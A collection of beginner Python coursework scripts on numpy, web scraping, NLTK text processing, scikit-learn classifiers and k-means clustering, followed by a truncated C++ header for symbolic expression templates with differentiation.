print("result of addition is ", k)
print("result of substraction is:", l)
print("result of multiplication is:", m)
print("result of division is:", n)
print("result of modulo is:", o)
print("result of floor division is:", p)
print("result of exponent is:", q)
<file_sep>/ICP_3/lab3_3.py
import numpy as np
x = np.random.randint(1, 20, 15)
print(x)
y = x.reshape(3, 5)
print(y)
max_value = np.amax(y, axis=1)
print(max_value)
y = np.where(y==np.max(y,axis=1).reshape(-1,1), 0, y)
print(y)<file_sep>/ICP7/languageprocessing.py
from bs4 import BeautifulSoup
import requests
URL = 'https://en.wikipedia.org/wiki/Google'
page = requests.get(URL)
soup = BeautifulSoup(page.content, 'html.parser').prettify()
text = str(soup.encode("UTF-8"))
file = open("input.txt", "w")
file.write(text)
file.close()
import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger')
nltk.download('wordnet')
nltk.download('maxent_ne_chunker')
nltk.download('words')
for k in text.split("\n"):
text1 = str(nltk.re.sub(r"[^a-zA-Z0-9]+", ' ', k))
file = open("input1.txt", "w")
file.write(text1)
stokens = nltk.sent_tokenize(text1)
wtokens = nltk.word_tokenize(text1)
for s in stokens:
print(s)
tagged = nltk.pos_tag(wtokens)
for k in tagged:
print(k)
from nltk.stem import PorterStemmer
from nltk.stem import LancasterStemmer
from nltk.stem import SnowballStemmer
pStemmer = PorterStemmer()
lStemmer = LancasterStemmer()
sStemmer = SnowballStemmer('english')
for w in wtokens[:50]:
print(pStemmer.stem(w), lStemmer.stem(w), sStemmer.stem(w))
from nltk.stem import WordNetLemmatizer
lemmatizer = WordNetLemmatizer()
for t in wtokens[:50]:
print("Lemmatizer:", lemmatizer.lemmatize(t), ", With POS=n:", lemmatizer.lemmatize(t, pos="n"))
from nltk.util import ngrams
token = nltk.word_tokenize(text1)
for s in stokens[:50]:
token = nltk.word_tokenize(s)
bigrams = list(ngrams(token, 2))
trigrams = list(ngrams(token, 3))
print("The text:", s, "\nword_tokenize:", token, "\nbigrams:", bigrams, "\ntrigrams", trigrams)
from nltk import word_tokenize, pos_tag, ne_chunk
for s in stokens[:50]:
print(ne_chunk(pos_tag(word_tokenize(s))))
Lstemmer = LancasterStemmer()
<file_sep>/ICP4/Naive_Bayes.py
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.naive_bayes import GaussianNB
from sklearn.svm import SVC, LinearSVC
from sklearn.neighbors import KNeighborsClassifier
data = pd.read_csv('glass.csv')
X_train = data.drop("Type", axis=1)
Y_train = data["Type"]
X_train, X_test, Y_train, Y_test = train_test_split(X_train, Y_train, test_size=0.4, random_state=0)
nav = GaussianNB()
y_pred = nav.fit(X_train, Y_train).predict(X_test)
acc_knn = round(nav.score(X_train, Y_train) * 100, 2)
print("NAV accuracy is:",acc_knn)
<file_sep>/ICP_1/String_manipulation.py
#from collections import UserString
s = input("please enter a string:")
print("The given input is:", s)
x = s[1:4]
print(x[::-1])
<file_sep>/ICP7/classifier.py
from sklearn.datasets import fetch_20newsgroups
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn import metrics
from sklearn.naive_bayes import MultinomialNB
twenty_train = fetch_20newsgroups(subset='train', shuffle=True)
tfidf_Vect = TfidfVectorizer()
tfidf_Vect1 = TfidfVectorizer(ngram_range=(1, 2))
tfidf_Vect2 = TfidfVectorizer(stop_words='english')
X_train_tfidf = tfidf_Vect.fit_transform(twenty_train.data)
X_train_tfidf1 = tfidf_Vect1.fit_transform(twenty_train.data)
X_train_tfidf2 = tfidf_Vect2.fit_transform(twenty_train.data)
print("\n MultiNomialNB \n")
clf = MultinomialNB()
clf.fit(X_train_tfidf, twenty_train.target)
clf1 = MultinomialNB()
clf1.fit(X_train_tfidf1, twenty_train.target)
clf2 = MultinomialNB()
clf2.fit(X_train_tfidf2, twenty_train.target)
twenty_test = fetch_20newsgroups(subset='test', shuffle=True)
X_test_tfidf = tfidf_Vect.transform(twenty_test.data)
predicted = clf.predict(X_test_tfidf)
score = round(metrics.accuracy_score(twenty_test.target, predicted), 4)
print("MultinomialNB accuracy is: ", score)
twenty_test1 = fetch_20newsgroups(subset='test', shuffle=True)
X_test_tfidf1 = tfidf_Vect1.transform(twenty_test.data)
predicted1 = clf1.predict(X_test_tfidf1)
score1 = round(metrics.accuracy_score(twenty_test1.target, predicted1), 4)
print("MultinomialNB accuracy when using bigram is: ", score1)
twenty_test2 = fetch_20newsgroups(subset='test', shuffle=True)
X_test_tfidf2 = tfidf_Vect2.transform(twenty_test.data)
predicted2 = clf2.predict(X_test_tfidf2)
score2 = round(metrics.accuracy_score(twenty_test2.target, predicted2), 4)
print("MultinomialNB accuracy when adding the stop-words is: ", score2)
print("============= KNN ============")
from sklearn.neighbors import KNeighborsClassifier
knn = KNeighborsClassifier(n_neighbors=2)
knn.fit(X_train_tfidf, twenty_train.target)
acc_knn = round(knn.score(X_train_tfidf, twenty_train.target) * 100, 2)
print("KNN accuracy is:", acc_knn / 100)<file_sep>/Module1_Lab1/classification.py
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.naive_bayes import GaussianNB
data = pd.read_csv('corona_data.csv')
x1 = data.drop('Date', axis=1)
x2 = x1.drop('Last Update', axis=1)
x3 = x2.drop('Country', axis=1)
x4 = x3.drop('Province/State', axis=1)
x4 = x4.drop_duplicates()
x4 = x4.dropna()
x4 = x4.drop("Deaths", axis=1)
y = x4.isnull().values.any()
print(y)
from sklearn.neighbors import KNeighborsClassifier
X_train = x4.drop("Confirmed", axis=1)
Y_train = x4["Confirmed"]
X_test = x4.drop("Recovered",axis=1).copy()
knn = KNeighborsClassifier(n_neighbors = 3)
knn.fit(X_train, Y_train)
Y_pred = knn.predict(X_test)
acc_knn = round(knn.score(X_train, Y_train) * 100, 2)
print("KNN accuracy is:",acc_knn)
X_train = x4.drop("Confirmed", axis=1)
Y_train = x4["Confirmed"]
X_train, X_test, Y_train, Y_test = train_test_split(X_train, Y_train, test_size=0.4, random_state=0)
nav = GaussianNB()
y_pred = nav.fit(X_train, Y_train).predict(X_test)
acc_knn = round(nav.score(X_train, Y_train) * 100, 2)
print("NAV accuracy is:", acc_knn)
from sklearn.svm import SVC
svc = SVC()
svc.fit(X_train, Y_train)
Y_pred = svc.predict(X_test)
acc_svc = round(svc.score(X_train, Y_train) * 100, 2)
print("svm accuracy is:", acc_svc)
<file_sep>/Module1_Lab1/Inheritance.py
class Person():
def __init__(self, name, email, phone, age):
self.name = name
self.email = email
self.phone = phone
self.age = age
def getname(self):
print(" Name:", self.name)
def getage(self):
print("Age:", self.age)
def getnumber(self):
print("Phoneno: " + self.phone)
def getemail(self):
print("Email:", self.email)
class FlightInfo():
def __init__(self, flight_number, flight_name, seat_number):
self.flightnumber = flight_number
self.flightname = flight_name
self.seatnumber = seat_number
def getflightname(self):
print("Airlines:", self.flightname)
def getflightnumber(self):
print("FlightNo:", self.flightnumber)
def getseatnumber(self):
print("SeatNo:", self.seatnumber)
class Booking(FlightInfo):
def __init__(self, source, destination, deptdate,flight_number,flight_name,seat_number,seat_place):
FlightInfo.__init__(self, flight_number, flight_name, seat_number)
self.source = source
self.destination = destination
self.deptdate = deptdate
self.flightname = flight_name
self.flightnumber = flight_number
self.seatnumber = seat_number
self.seatplace = seat_place
def getsource(self):
print("Source :", self.source)
def getdestination(self):
print("Destination :", self.destination)
def getdeptdate(self):
print("Departure Date:", self.deptdate)
def getseatnumber(self):
print("Seat number:", self.seatnumber)
print("seat Place", self.seatplace)
class Passenger(Person,Booking):
def __init__(self, name, email, phone, age, flight_number,
flight_name, seat_number, deptdate, source, destination,seatplace):
super().__init__(name, email, phone, age)
Booking.__init__(self, deptdate, source, destination, flight_number, flight_name, seat_number, seatplace)
FlightInfo.__init__(self, flight_number, flight_name, seat_number)
p = Passenger("Chaitanya", "<EMAIL>","8166063644", 24, "SPD100", "AirIndia","18", "USA", "India", "10thMarch", "C")
print(" ____________________")
print("| Passenger Details:")
print(" _____________________")
p.getname()
p.getemail()
p.getage()
p.getnumber()
print(" _________________")
print(" Flight Details ")
print(" __________________")
p.getflightname()
p.getflightnumber()
p.getseatnumber()
print(" ___________________")
print("| Booking Details:|")
print(" ____________________")
p.getsource()
p.getdestination()
p.getdeptdate()
print("_____________________")
print("")
f = FlightInfo("Air India", "SPD100", 18)
f.getseatnumber()<file_sep>/ICP_2/list.py
my_list = []
list2 = []
n = int(input("enter number of students:"))
print("enter weights")
for i in range(0,n):
a = int(input())
my_list.append(a)
print("the list in lbs is:\n")
print(my_list)
for element in my_list:
e = (element*0.45)
list2.append(e)
print("\nthe list in kgs is:\n")
print(list2)<file_sep>/ICP_1/string_replace.py
string = input("enter a sentence:")
print(string.replace("python", "pythons"))<file_sep>/Module1_Lab1/multiple_regression.py
import pandas as pd
from sklearn import linear_model
from sklearn.metrics import r2_score, mean_squared_error
data = pd.read_csv('corona_data.csv')
x1 = data.drop('Date', axis=1)
x2 = x1.drop('Last Update',axis=1)
x3 = x2.drop('Country',axis=1)
x4 = x3.drop('Province/State', axis=1)
y = x4.isnull().values.any()
print(y)
x4 = x4.drop_duplicates()
x4 = x4.dropna()
X_train = x4.drop('Confirmed', axis=1)
Y_train = x4['Confirmed']
regr = linear_model.LinearRegression()
regr.fit(X_train, Y_train)
y_pred = regr.predict(X_train)
print("Variance score: %.2f" % r2_score(Y_train,y_pred))
print("Mean squared error: %.2f" % mean_squared_error(Y_train,y_pred))
<file_sep>/ICP_3/scraping.py
from bs4 import BeautifulSoup
import requests
URL = 'https://en.wikipedia.org/wiki/Deep_learning'
page = requests.get(URL)
soup = BeautifulSoup(page.content, 'html.parser')
x = soup.find_all('title')
print(x)
y = soup.find_all('a')
print(y)
for link in soup.findAll('a'):
print(link.get('href'))
<file_sep>/Module1_Lab1/kmeans.py
import numpy as np
import pandas as pd
from sklearn.preprocessing import LabelEncoder
train = pd.read_csv('winequality-red.csv')
data = train.select_dtypes(exclude=[np.number])
features = list(data.columns)
le = LabelEncoder()
for i in features:
train[i] = le.fit_transform(train[i])
data = train.select_dtypes(include=[np.number]).interpolate().fillna(train.select_dtypes(include=[np.number]).interpolate().mean(axis=0))
from sklearn import preprocessing
scaler = preprocessing.StandardScaler()
scaler.fit(data)
x = scaler.transform(data)
from sklearn.cluster import KMeans
clusters = 3
seed = 0
km = KMeans(n_clusters=clusters, random_state=seed)
km.fit(x)
y_cluster_kmeans = km.predict(x)
from sklearn import metrics
score = metrics.silhouette_score(x, y_cluster_kmeans)
scores = metrics.silhouette_samples(x, y_cluster_kmeans)
print("Silhoutte score", score)
wcss = []
for i in range(1, 11):
kmeans = KMeans(n_clusters=i, init='k-means++', max_iter=500, n_init=10, random_state=0)
kmeans.fit(data)
cluster_an = kmeans.predict(data)
wcss.append(kmeans.inertia_)
scaler = preprocessing.StandardScaler()
scaler.fit(x)
x_scaled_array = scaler.transform(x)
x_scaled = pd.DataFrame(x_scaled_array)
feature_scaling_score = metrics.silhouette_score(x_scaled, y_cluster_kmeans)
print("Feature scaling score:", feature_scaling_score)
from sklearn.decomposition import PCA
pca = PCA(2)
x_pca = pca.fit_transform(x_scaled)
km_1 = KMeans(n_clusters=3, random_state=0)
km_1.fit(x_pca)
kmeans_1 = km_1.predict(x_pca)
y_cluster_kmeans_1 = km_1.predict(x_pca)
pca_score = metrics.silhouette_score(x_pca, y_cluster_kmeans_1)
print("Pca Score:",pca_score)
import matplotlib.pyplot as plt
plt.plot(range(1, 11), wcss)
plt.title('the elbow method')
plt.xlabel('Number of Clusters')
plt.ylabel('Wcss')
plt.show()
plt.scatter(y_cluster_kmeans, scores, alpha=.75,color='b')
plt.xlabel('Cluster')
plt.ylabel('Scores')
plt.show()
plt.scatter(range(1, len(y_cluster_kmeans) + 1), y_cluster_kmeans, alpha=.75,color='b')
plt.xlabel('Id')
plt.ylabel('Cluster')
plt.show()
plt.hist(y_cluster_kmeans, color="blue")
plt.xlabel('Type')
plt.ylabel('Count')
plt.title('K-Means Model')
plt.show()
<file_sep>/ICP_3/Employee.py
class Employee:
employee_count = 0
employee_salary = 0
def __init__(self, n, f, s, d):
self.name = n
self.family = f
self.salary = s
self.department = d
Employee.employee_count = Employee.employee_count + 1
Employee.employee_salary = Employee.employee_salary + s
def get_name(self):
return self.name
def get_family(self):
return self.family
def get_salary(self):
return self.salary
def get_department(self):
return self.department
def avg_salary(self):
self.avg_salary = self.employee_salary / self.employee_count
return self.avg_salary
class FulltimeEmployee(Employee):
def __init__(self, n, f, s, d):
Employee.__init__(self, n, f, s, d)
e1 = FulltimeEmployee('Chaitanya', 'yes', 10000, 'cs')
print(e1.get_name())
print(e1.get_family())
print(e1.get_department())
print(e1.get_salary())
print(e1.avg_salary())
e2 = Employee('Raghu', 'yes', 50000, 'cs')
print(e2.get_name())
print(e2.get_family())
print(e2.get_department())
print(e2.get_salary())
print(e2.employee_count)
e3 = Employee('Raghu1', 'yes', 40000, 'cs')
print(e3.get_name())
print(e3.get_family())
print(e3.get_department())
print(e3.get_salary())
print(e3.avg_salary())
print(e3.employee_count)
<file_sep>/Module1_Lab1/collection.py
from pip._vendor.distlib.compat import raw_input
def SuperSet(arr, n):
list = []
for i in range(2 ** n):
subset = ""
for j in range(n):
if (i & (1 << j)) != 0:
subset += str(arr[j]) + "|"
if subset not in list and len(subset) > 0:
list.append(subset)
for subset in list:
arr = subset.split('|')
for string in arr:
print(string, end=" ")
print()
if __name__ == '__main__':
arr = []
numbers = int(raw_input("How many numbers you want to enter?"))
for i in range(0, numbers):
arr.append(int(raw_input("Enter the number :")))
n = len(arr)
SuperSet(arr, n)
<file_sep>/Module1_Lab1/NLP.py
file = open("nlp_input.txt", "r")
string = file.read()
import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger')
nltk.download('wordnet')
nltk.download('maxent_ne_chunker')
nltk.download('words')
stokens = nltk.sent_tokenize(string)
wtokens = nltk.word_tokenize(string)
tagged = nltk.pos_tag(wtokens)
for k in tagged:
print(k)
from nltk.stem import WordNetLemmatizer
lemmatizer = WordNetLemmatizer()
for t in wtokens[:10]:
print("Lemmatizer:", lemmatizer.lemmatize(t), ", With POS=n:", lemmatizer.lemmatize(t, pos="n"))
from nltk.util import ngrams
token = nltk.word_tokenize(string)
for s in stokens[:10]:
trigrams = list(ngrams(token, 3))
print("The text:", s, "\ntrigrams", trigrams)
wordfreq = nltk.FreqDist(trigrams)
mostcommon = wordfreq.most_common(10)
print("Most frequently repeated top 10 trigrams:", mostcommon)
sentTokens = nltk.sent_tokenize(string)
concatenatedArray = []
for sentence in sentTokens:
for (i, j, k) in trigrams:
for ((l, m, n), length) in mostcommon:
if (i,j,k == l, m, n):
concatenatedArray.append(sentence)
print("\nConcatenated sentenced is:", concatenatedArray)
<file_sep>/ICP4/SVM.py
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.svm import SVC
glass = pd.read_csv('glass.csv')
X_train = glass.drop("Type", axis=1)
Y_train = glass["Type"]
X_test = X_train.drop("Fe", axis=1).copy()
X_train, X_test, Y_train, Y_test = train_test_split(X_train, Y_train, test_size=0.2, random_state=0)
svc = SVC()
svc.fit(X_train, Y_train)
Y_pred = svc.predict(X_test)
acc_svc = round(svc.score(X_train, Y_train) * 100, 2)
print("svm accuracy is:", acc_svc)<file_sep>/Module1_Lab1/scraping.py
from bs4 import BeautifulSoup
import requests
URL = 'https://catalog.umkc.edu/course-offerings/graduate/comp-sci/'
page = requests.get(URL)
soup = BeautifulSoup(page.content, 'html.parser')
# print(page.text)
course_title = soup.findAll('span', {'class': 'title'})
course_overview = soup.findAll('p', {'class': 'courseblockdesc'})
for text in range(len(course_title)):
print(course_title[text].text)
print(course_overview[text].text)
print('\n')
<file_sep>/ICP_2/func.py
str = str(input("enter any string:"))
def string_alternative(str):
str1 = str[::2]
print(str1)
return str1
string_alternative(str)<file_sep>/ICP6/clustering.py
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans
data = pd.read_csv('CC.csv')
s = data['MINIMUM_PAYMENTS'].isnull().sum()
j = data['CREDIT_LIMIT'].isnull().sum()
c= data['MINIMUM_PAYMENTS'].mean()
d= data['CREDIT_LIMIT'].mean()
data= data.apply(lambda s:s.fillna(c),axis=0)
data = data.apply(lambda j:j.fillna(d),axis=0)
l=data.isnull().sum()
print(l)
wcss= []
x = data.iloc[:,1:17]
y = data.iloc[:,-1]
for i in range(1,11):
kmeans = KMeans(n_clusters=i,max_iter=100, random_state=0)
kmeans.fit(x)
wcss.append(kmeans.inertia_)
plt.plot(range(1,11),wcss)
plt.xlabel('Number of Clusters')
plt.ylabel('wcss')
plt.show()
km =KMeans(n_clusters=3, random_state=0)
km.fit(x)
kmeans=km.predict(x)
y_cluster_kmeans= km.predict(x)
from sklearn import metrics
score = metrics.silhouette_score(x, y_cluster_kmeans)
print(score)
from sklearn import preprocessing
scaler = preprocessing.StandardScaler()
scaler.fit(x)
x_scaled_array = scaler.transform(x)
x_scaled = pd.DataFrame(x_scaled_array, columns =x.columns)
feature_scaling_score = metrics.silhouette_score(x_scaled, y_cluster_kmeans)
print(feature_scaling_score)
from sklearn.decomposition import PCA
pca= PCA(2)
x_pca= pca.fit_transform(x_scaled)
km_1 =KMeans(n_clusters=3, random_state=0)
km_1.fit(x_pca)
kmeans_1=km_1.predict(x_pca)
y_cluster_kmeans_1= km_1.predict(x_pca)
from sklearn import metrics
pca_score = metrics.silhouette_score(x_pca, y_cluster_kmeans)
print(pca_score)
<file_sep>/Module1_Lab1/Dictionary_concatinate.py
n1 = int(input("enter number of items in dictionary 1:"))
dict1 = {}
for i in range(n1):
keys = int(input())
values = input()
dict1[keys] = values
print("User input for the dictionary 1:", dict1)
n2 = int(input("enter number of items in dictionary 2:"))
dict2 = {}
for i in range(n2):
keys = int(input())
values = input()
dict2[keys] = values
print("User input for the dictionary 2:", dict2)
d = dict(dict1)
d.update(dict2)
print("Unsorted:", d)
ordered = sorted(d.items(), key=lambda x: x[1])
print("Sorted Dictionary:", ordered)
|
3cc768d7c303f60d426cf3ecca7e190a870f3361
|
[
"Python"
] | 21 |
Python
|
MRChaitanya/Python-DeepLearning
|
8d139926a1f37bcbd19b08ecb1146a1a55a222b8
|
69ed2390a2fc304e93748eb8e7c5a220e124d61a
|
refs/heads/master
|
<repo_name>Gomenyuk-Gleb/AbstrFabric<file_sep>/Developer/src/main/java/fabrica/bankicng/website/PhPDev.java
package fabrica.bankicng.website;
import fabrica.bankicng.Developer;
public class PhPDev implements Developer {
@Override
public void writeCode() {
System.out.println("write php code");
}
}
<file_sep>/Developer/src/main/java/fabrica/bankicng/impl/PM.java
package fabrica.bankicng.impl;
public class PM implements fabrica.bankicng.PM {
@Override
public void checkCode() {
System.out.println("checkCode");
}
}
<file_sep>/Developer/src/main/java/fabrica/bankicng/website/PM.java
package fabrica.bankicng.website;
public class PM implements fabrica.bankicng.PM {
@Override
public void checkCode() {
System.out.println("check code");
}
}
<file_sep>/src/main/java/ProjectMenedger.java
public class ProjectMenedger {
void checkCode() {
System.out.println("check Code");
}
}
<file_sep>/Developer/src/main/java/fabrica/bankicng/AuctingSiteProgect.java
package fabrica.bankicng;
public class AuctingSiteProgect {
}
<file_sep>/Developer/src/main/java/fabrica/bankicng/SuperBank.java
package fabrica.bankicng;
import fabrica.bankicng.website.WebSiteTeam;
public class SuperBank {
public static void main(String[] args) {
ProgectTeamFactory progectTeamFactory = new WebSiteTeam();
progectTeamFactory.getDev().writeCode();
}
}
<file_sep>/Developer/src/main/java/fabrica/bankicng/impl/JavaDev.java
package fabrica.bankicng.impl;
import fabrica.bankicng.Developer;
public class JavaDev implements Developer {
@Override
public void writeCode() {
System.out.println("write Java code");
}
}
<file_sep>/src/main/java/PhpDeveloper.java
public class PhpDeveloper {
void writeCode() {
System.out.println("write code");
}
}
<file_sep>/Developer/src/main/java/fabrica/bankicng/website/QATest.java
package fabrica.bankicng.website;
import fabrica.bankicng.Test;
public class QATest implements Test {
@Override
public void testCode() {
System.out.println("test code");
}
}
|
b9d29684d8610e4c735db75cd98c352459b18822
|
[
"Java"
] | 9 |
Java
|
Gomenyuk-Gleb/AbstrFabric
|
99ff92ee57cd2ef025fa557d3326921b11a05fff
|
beff552f8d1143a3725d1105d1cef49a7bc1a3a2
|
refs/heads/main
|
<file_sep># (c) @AbirHasan2005
import os
class Config(object):
API_ID = int(os.environ.get("API_ID", 12345))
API_HASH = os.environ.get("API_HASH", "")
BOT_TOKEN = os.environ.get("BOT_TOKEN", "")
SESSION_NAME = os.environ.get("SESSION_NAME", "Rename-Bot-0")
SLEEP_TIME = int(os.environ.get("SLEEP_TIME", 5))
BOT_OWNER = os.environ.get("BOT_OWNER", 1445283714)
CAPTION = "Rename Bot by @{}\n\nMade by @AbirHasan2005"
UPDATES_CHANNEL = os.environ.get("UPDATES_CHANNEL", None)
LOG_CHANNEL = int(os.environ.get("LOG_CHANNEL", -100))
MONGODB_URI = os.environ.get("MONGODB_URI", "")
DOWNLOAD_PATH = os.environ.get("DOWNLOAD_PATH", "./downloads")
BROADCAST_AS_COPY = bool(os.environ.get("BROADCAST_AS_COPY", False))
ONE_PROCESS_ONLY = bool(os.environ.get("ONE_PROCESS_ONLY", False))
START_TEXT = """
I am Telegram Files Rename Bot.
Send me a File to Rename.
Made by @AbirHasan2005
"""
PROGRESS = """
Percentage : {0}%
Done: {1}
Total: {2}
Speed: {3}/s
ETA: {4}
"""
|
dd6ac11b3ad466f17802c52615cb936791c59d34
|
[
"Python"
] | 1 |
Python
|
DragonPower84/Rename-Bot
|
3d534758f33ddc7b4bb4a80a5b4edc07f9175cca
|
1a61befea13c35321b96a62825cce87a387d5303
|
refs/heads/master
|
<repo_name>piekarr/PiekarApp<file_sep>/PiekarApp/PiekarApp/EntityFramework/PiekarAppContext.cs
using Microsoft.EntityFrameworkCore;
namespace PiekarApp.EntityFramework
{
public class PiekarAppContext : DbContext
{
public PiekarAppContext(DbContextOptions options) : base(options)
{
}
}
}
|
e6f979aa9f3525eb9c00978409daf0440827067d
|
[
"C#"
] | 1 |
C#
|
piekarr/PiekarApp
|
8d87a01e365c940255e7928ba43e8c3202e6232c
|
8e5bf0aee12f01f3749ae25c417aef4c420323f7
|
refs/heads/master
|
<repo_name>libreyextremo/FriendGroupServer<file_sep>/README.md
# FriendGroupServer
This is the backend part of Friend Group application. It has been developed with NodeJS, MongoDB and Express.
<file_sep>/models/friend_model.js
const mongoose = require('mongoose');
require('mongoose-type-email');
const Schema = mongoose.Schema;
/*
"A": active
"P": pending confirmation
"D": deactivated
*/
const CommentStatusType = ["N", "D", "V"];
/*
"A": active
"P": pending confirmation
"D": deactivated
*/
const UserStatusType = ["A", "P", "V"];
/*
"W": woman
"M": man
*/
const GenderType = ["W", "M"];
const CommentModelSchema = new Schema({
id: {type: Number, required: [true, 'Id field is required'] },
created: {type: Date, default: Date.now },
modified: {type: Date, default: Date.now },
subject: {type: String, required: [true, 'Subject field is required'] },
body: {type: String, required: [true, 'Body field is required'] },
status: {type: CommentStatusType, required: [true, 'Status field is required'] },
rating: {type: Number, required: [true, 'Rating is required'] },
user: {type: String, required: [true, 'Body field is required'] },
consultant: {type: Number, required: [true, 'Price field is required'] }
});
const FriendModelSchema = new Schema({
id: {type: Number, required: [true, 'Id field is required'] },
comments: [{type: CommentModelSchema}],
created: {type: Date, default: Date.now },
modified: {type: Date, default: Date.now },
uuid: {type: String, required: [true, 'Uuid field is required'] },
email: {type: mongoose.SchemaTypes.Email, required: [true, 'Email field is required'] },
short_name: {type: String, required: [true, 'Short name field is required'] },
full_name: {type: String, required: [true, 'Full name field is required'] },
date_joined: {type: Date, default: Date.now },
status: {type: UserStatusType, required: [true, 'User status field is required'] },
gender: {type: GenderType, required: [true, 'Gender field is required'] },
short_me: {type: String, required: [true, 'Short me field is required'] },
location: {type: String, required: [true, 'Location field is required'] },
profile_picture: {type: String}
});
// set relation between KUserModelSchema and clientmodel
const FriendModel= mongoose.model('friends', FriendModelSchema);
module.exports = FriendModel;
<file_sep>/test/friendmodeltests.js
const mocha = require('mocha');
const assert = require('assert');
const FriendModel = require('../models/friend_model');
describe('FriendGroup collection tests', function(){
//tests
it('saving a record in friend collection', function(){
var friendRecord = new FriendModel({
id: 1,
comments: [
{
id: 1,
created: '2017-11-20T06:58:59.676178Z',
modified: '2017-11-20T06:58:59.676418Z',
subject: 'Saepe sit autem quia necessitatibus nobis animi mollitia.',
body: 'Repudiandae id temporibus laudantium quod eligendi totam. Architecto accusamus dolor. Magni tempora blanditiis rerum ex. Odio sapiente architecto vero. Dignissimos ducimus nobis maxime corrupti ex impedit. Eligendi nam odit possimus aspernatur ipsa adipisci. Ducimus reiciendis magnam totam rerum quo.',
status: 'N',
rating: 4,
user: '<NAME>',
consultant: 1
},
{
id: 2,
created: '2017-11-20T06:58:59.678850Z',
modified: '2017-11-20T06:58:59.679010Z',
subject: 'Cupiditate voluptates sint nobis tempora ratione impedit et.',
body: 'Sequi ex laudantium qui nisi. Magni cupiditate atque laboriosam modi nostrum ut. Facere dignissimos dolore id doloremque aspernatur aut. Commodi commodi ducimus nesciunt explicabo repudiandae. Debitis doloremque provident dolorem cumque minima perspiciatis eum. Laudantium explicabo quas hic atque harum assumenda. Dolore tempore voluptate ab fuga possimus repudiandae. Totam minus sit nam fugiat ducimus adipisci. Maxime expedita quis facilis assumenda repudiandae sequi.',
status: 'N',
rating: 0,
user: 'Elliot Cook',
consultant: 1
}
],
created: '2017-11-20T06:58:59.659606Z',
modified: '2017-11-20T06:58:59.673221Z',
uuid: '93793c62-7182-c724-e090-aae5e1adaeeb',
email: '<EMAIL>',
short_name: 'Hugh',
full_name: '<NAME>',
date_joined: '2017-11-20T06:58:59.659636Z',
status: 'A',
gender: 'M',
short_me: 'Deserunt neque dolorum doloribus perferendis enim.',
location: '245 Johnson mountain\nEast Graham\nW8 2SS',
profile_picture: 'https://randomuser.me/api/portraits/men/1.jpg'
});
friendRecord.save().then(function() {
assert(friendRecord.isNew === false);
done();
});
});
});
|
1a5e8dd6d1fa64155d8eb0841d98c6d057d96b84
|
[
"Markdown",
"JavaScript"
] | 3 |
Markdown
|
libreyextremo/FriendGroupServer
|
d8362ea92e3154a6a304b1789319eeb0f64ead57
|
962bdf11aac66c013993028c379332efa8b1ceee
|
refs/heads/main
|
<repo_name>bE554357/expression<file_sep>/expression/binary_expression.h
namespace my::expression
{
template <typename L, typename R, typename OP>
struct binaryExpression
{
L lOp;
R rOp;
using result_t = typename OP::template result_t<L, R>;
template <typename ... vars_t>
auto setTo(const vars_t&... vars) const
{
using lOp_t = decltype(lOp.setTo(vars...));
using rOp_t = decltype(rOp.setTo(vars...));
return binaryExpression<lOp_t, rOp_t, OP> {lOp.setTo(vars...), rOp.setTo(vars...)};
}
auto getValue() const
{
return OP::getValue(lOp, rOp);
}
template <typename T1, typename T2>
constexpr auto diff(T1 var, T2 dVar) const
{
return OP::diff(lOp, rOp, var, dVar);
}
std::string getString() const
{
return OP::getString(lOp, rOp);
}
template <typename typeIn, char N>
static consteval bool isDependOn(variable<typeIn, N> in)
{
return L::isDependOn(in) || R::isDependOn(in);
}
};
struct addOp
{
template <typename L, typename R>
using result_t = typename L::result_t;
template <typename T1, typename T2>
static auto getValue(const T1& lOp, const T2& rOp)
{
static_assert(std::is_same_v<typename T1::result_t, typename T2::result_t>, "addition is defined only for the same types");
if constexpr(std::is_same_v<result_t<T1, T2>, matrix>)
return (lOp.getValue() + rOp.getValue()).eval();
else
return (lOp.getValue() + rOp.getValue());
}
template <typename L, typename R, typename T1, typename T2>
constexpr static auto diff(L lOp, R rOp, T1 var, T2 dVar)
{
auto lNew = lOp.diff(var, dVar);
auto rNew = rOp.diff(var, dVar);
if constexpr(lOp.isDependOn(var) && rOp.isDependOn(var))
return binaryExpression<decltype(lNew), decltype(rNew), addOp> {lNew, rNew};
else if constexpr(lOp.isDependOn(var) && !rOp.isDependOn(var))
return lNew;
else if constexpr(!lOp.isDependOn(var) && rOp.isDependOn(var))
return rNew;
else if constexpr(!lOp.isDependOn(var) && !rOp.isDependOn(var))
return constantZero<result_t<L, R>>::zero();
}
template <typename T1, typename T2>
static std::string getString(T1 lOp, T2 rOp)
{
return "(" + lOp.getString() + "+" + rOp.getString() + ")";
}
};
struct substractionOp
{
template <typename L, typename R>
using result_t = typename L::result_t;
template <typename T1, typename T2>
static auto getValue(const T1& lOp, const T2& rOp)
{
static_assert(std::is_same_v<typename T1::result_t, typename T2::result_t>, "sustraction is defined only for the same types");
if constexpr(std::is_same_v<result_t<T1, T2>, matrix>)
return (lOp.getValue() - rOp.getValue()).eval();
else
return (lOp.getValue() - rOp.getValue());
}
template <typename L, typename R, typename T1, typename T2>
constexpr static auto diff(L lOp, R rOp, T1 var, T2 dVar)
{
auto lNew = lOp.diff(var, dVar);
auto rNew = rOp.diff(var, dVar);
constant<double> _1{-1.0};
if constexpr(lOp.isDependOn(var) && rOp.isDependOn(var))
return binaryExpression<decltype(lNew), decltype(rNew), substractionOp> {lNew, rNew};
else if constexpr(lOp.isDependOn(var) && !rOp.isDependOn(var))
return lNew;
else if constexpr(!lOp.isDependOn(var) && rOp.isDependOn(var))
return _1*rNew;
else if constexpr(!lOp.isDependOn(var) && !rOp.isDependOn(var))
return constantZero<result_t<L, R>>::zero();
}
template <typename T1, typename T2>
static std::string getString(T1 lOp, T2 rOp)
{
return "(" + lOp.getString() + "-" + rOp.getString() + ")";
}
};
struct multOp
{
template <typename L, typename R>
using result_t = std::conditional_t<std::is_same_v<matrix, typename L::result_t> || std::is_same_v<matrix, typename R::result_t>, matrix, double>;
template <typename T1, typename T2>
static auto getValue(const T1& lOp, const T2& rOp)
{
if constexpr(std::is_same_v<result_t<T1, T2>, matrix>)
return (lOp.getValue()*rOp.getValue()).eval();
else
